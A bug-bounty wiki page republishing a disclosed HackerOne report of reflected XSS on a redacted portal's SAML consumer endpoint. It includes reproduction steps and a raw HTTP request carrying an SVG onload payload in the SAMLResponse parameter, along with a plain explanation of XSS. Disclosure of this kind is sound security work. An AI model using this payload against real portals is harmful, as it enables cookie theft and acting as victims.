Skip to content
XSS Disclosed report Beginner

XSS on ███

A reflected XSS flaw existed on a portal's SAML assertion consumer endpoint, where a crafted SAMLResponse value executed script in a victim's browser, potentially stealing cookies or acting as the victim.

Mahmoud Attia Follow

Originally disclosed on HackerOne

  • Triaged in 1 hour
  • Fixed in 27 days
  • Disclosed after 44 days

Hi , I found XSS on ██████████ IP Enumeration ████

  • go to https://███/+CSCOE+/logon.html?a0=15&a1=&a2=&a3=1
  • intercept the request by burp suite and send it to repeater
  • then edit the request to be like this
GET /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: ██████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

SAMLResponse="><svg/onload=alert('0xElkot')>

███████

Impact

Cookie Stealing - A malicious user can steal cookies and use them to gain access to the application. Arbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server. Malware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the site, the user may be more likely to trust the request and actually install the malware. Defacement - attacker can deface the website usig javascript code.

Kind Regards, @0xElkot

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

  • go to https://█████████/+CSCOE+/logon.html?a0=15&a1=&a2=&a3=1
  • intercept the request by burp suite and send it to repeater
  • then edit the request to be like this
GET /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

SAMLResponse="><svg/onload=alert('0xElkot')>

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by 0xelkot. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could steal cookies to gain access to the application, send requests that appear to come from the victim, prompt malware downloads, or deface the site using JavaScript.

What the attacker needed

Victim opens a crafted request; target runs the affected portal

How it was found

  1. Visit the logon page with the given query parameters.
  2. Intercept the request in a proxy and send it to the repeater.
  3. Change the request to a GET to the SAML assertion consumer endpoint with a tgname parameter.
  4. Set the SAMLResponse body parameter to a value that breaks out of the attribute and injects an SVG element with an onload handler.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting (XSS) is when a website takes input from a user and puts it into a page without cleaning it, so an attacker can make the site run their own JavaScript. Here, the SAMLResponse value was reflected back into the HTML, so a crafted request containing an SVG element with an onload handler would run script in the browser of anyone who opened it. That script could read cookies or act as the logged-in user.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Mahmoud Attia

View all

1 more disclosed report, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.